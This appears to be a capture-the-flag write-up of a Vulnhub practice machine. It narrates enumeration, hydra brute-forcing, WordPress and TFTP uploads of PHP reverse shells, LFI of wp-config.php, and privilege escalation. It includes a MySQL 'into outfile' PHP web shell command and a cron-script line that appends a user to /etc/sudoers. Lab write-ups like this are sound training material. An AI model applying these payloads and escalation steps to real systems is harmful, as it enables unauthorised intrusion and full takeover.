I started the box with a netdiscover scan
Netdiscover -r 192.168.0.0/24
The VM picked up an ip address of 192.168.0.134
Let’s scan it with nmap
nmap -sV -Pn -vv -T4 -A -p- 192.168.0.134 –script=auth,brute,discovery,exploit,vuln -oN 192.168.0.134nmap.scan
Found some open ports
FTP & SSH
Mysql with an interesting banner
And another webserver
SMB enum found a couple shares w/ read/write permissions
I also ran a Nessus scan, wanted to reinforce some findings and techniques on the SMB shares
My Nessus scan found an additional port open:
Nessus was able to grab the banner for port 666, but it wasn’t able to identify the service. The banner looked like a hexdump. I”ll copy this info to a file
I ran file on 666 to find it’s a zip
I cat’d the file and noticed there might be a picture in there…
I browsed to the file and it was processed as a zip, which I double clicked on it, it created the folder with a picture inside.
Might be hinting at a BOF..
Didn’t find much at the time, so I connected to ftp, found a file called “note.” So I downloaded it and it revealed the following:
I got some help on this one and discovered the “-e nsr” options for hydra. It attempts a null password, login as the username, and login as the username backward (as far as I can tell)
Lets login with these creds..
We’re logging into the root dir of a machine. I issued the “Get” command on a number of “*.conf” files, looking for username and password, but didn’t turn up much.
Then I grabbed the passwd file, and ran the same type of hydra attack with these new users
I took passwd and created “userlist”
Then ran the hydra attack against ftp and ssh. We found a couple logins!
Let’s login via ssh
First thing I did on the machine was profile the OS/kernel, and look for associated exploits
I searched google for the info and came across this list:
I tried the top three hits, and the third exploit did the trick for me 🙂
Wget the exploit
Then run the script as the code suggest, and now we have root!
Cat the flag
Additional limited shell and privesc
Let’s go back to the nmap scans, and focus on our web server ports:
Port 80 didn’t turn up much, so I browsed to port 12390 and was met with an image
I ran a nikto scan on port 12380, and it found a couple additional pages that didn’t contain much, but most interesting, SSL was present on the site
I ran nikto against the SSL version of the site, we got a hostname and an additional page to browse: phpmyadmin
The robots.txt file was the same so I browsed to those sites
Blogblog seemed to be a wordpress blog
Then I check for a wordpress default login site… success 🙂
I’m going to start with the wordpress site. I can easily fire up a wpscan to find any interesting info about the site
Wpscan found a number of XSS vulns, some sqli, uploader vulnerabilities and also a number of users. We need to get authenticated, so let’s try brute forcing some of these accounts. We’ll start with user 1, john and the typicall rockyou.txt
The brute force took an hour and 20 min, but we got a response!
I used this info, logged into the site and started looking around, specifically in the plugins site
I used a wordpress plugin vuln in OSCP, so we’ll see if this is any different. I attempted to add a new plugin by prefacing some plugin code, before pentestmonkey’s reverse php shell. I uploaded it as a zip, but wasn’t able to install it..
To install, the page asked for more credentials, which I couldn’t seem to get working
Even though the plugin would not install or show up on the site, it did seem to write to the system under the uploads folder.
Maybe this was simpler that I had thought… Let’s just try uploading the php-reverse-shell with a .php extension…
The site didn’t give me an error, so I checked the upload dir and found the file there!
I created a net cat listener, clicked on the file and got a limited shell!
TFTP limited shell
This one is a bit trivial, we just need to remember to review UDP scans for additional info. Nmap -sU 192.168.0.134:
tftp is a great service to have available to us because it could lead to read/write access to the file system, let’s take a look at it…
First, we can login to the service without credentials… I tried uploading a php-reverse-shell to the server and was successful!
Once the file was uploaded, I continued to look for the upload path. It wasn’t the same as the wp-content/uploads/ page, but apparently, was the default path for the port 80 webserver
Once I browsed to this file, the machine connected back to my netcat listener with a limited shell!
WordPress plugin vuln and mysql db enumeration
I’ve now seen a handful of wordpress exploits, between OSCP and Vulnhub. Part of my wordpress methodology is to check plugins for any associated vulnerabilities. So I checked the first plugin on the list, Advanced Video Embed
The exploit code explains that an unauthenticated user can invoke a LFI vulnerability to read specific files on the system.
Here’s the code:
This url will create a new post with the contents of the wp-config.php file stored on the file system. Let’s issue this in the browser:
Then browse to the wordpress blog. It looks like a new post has been made title “*.jpg”
We have to look at the page source to find where the file is stored on the machine
Check the page source and find…
Let’s curl the file to get the contents of wp-config.php
Look like we got a mysql root username and password !
Let’s try and connect to the mysql server remotely
mysql -u root -p -h 192.168.0.134″
After enumerating the database I found some users, passwords that we already know, and a message in the proof DB for Vicki. All well and good, but let’s attempt to escalate our privileges. I’m thinking we can install a php backdoor on the server with the “into dumpfile” command.
We need to total path of the webserver, (which I looked up during other limited shell scenarios) and can issue the following command in the DB
select “<?php system($_GET[‘cmd’]); ?> into outfile “/var/www/html/shell.php”
Additional privilege escalation attempts
Back to login with user Shayslett…
Typically when I login with a user, I try and check their history for any juicy info…
My user didn’t have much available
So I went to find the bash history of other users on the box…
After issuing the command, we have a couple new usernames and passwords.
Based on the passwd dump that I did, “peter” was the first created user in that list (1000). Let’s give his account a try and see if he has additional permissions. I su’d to his account, and had to accept a couple zsh prompts, but finally landed on his user:
We can see his user is apart of the adm and lpadmin groups. Let’s see if he’s part of the sudoers group by issuing sudo -i
The command asked me for a password, then prompted me with a root shell!
Another thing on my privilege escalation checklist is to look for world writable files. We may be able to manipulate a file to give us escalated privileges, or use a file with additional permission to execute commands as the privileged user.
Let’s issue this command with a limited shell:
find / -perm -2 ! -type l -ls 2>/dev/null
The command displays a long list of files, but we’re looking for specific files that has additional read/write/execute permissions…
At the bottom of the “/proc” list, we see these entries:
We see cron-logrotate.sh” is owned by user “root” and has global read/write/execute permissions: -rwxrwxrwz
Let’s check out the file… Only looks like some text supplied by the author. Based on the name of this file, let’s see if it exists in our crontab
After browsing through my cron jobs, I found under /etc/crond.d/logrotate the following 5 minute cron job
Looks like the root user executes the cron-logrotate.sh file every 5 minutes. Now what command would we like root to execute on our behalf? 🙂
Let’s have root include our current user “Shayslett” in the sudoers file with this command
‘echo “SHayslett ALL=(ALL:ALL) ALL” >> /etc/sudoers’
I waited for 5 minutes to pass, issued “sudo -i” and entered my password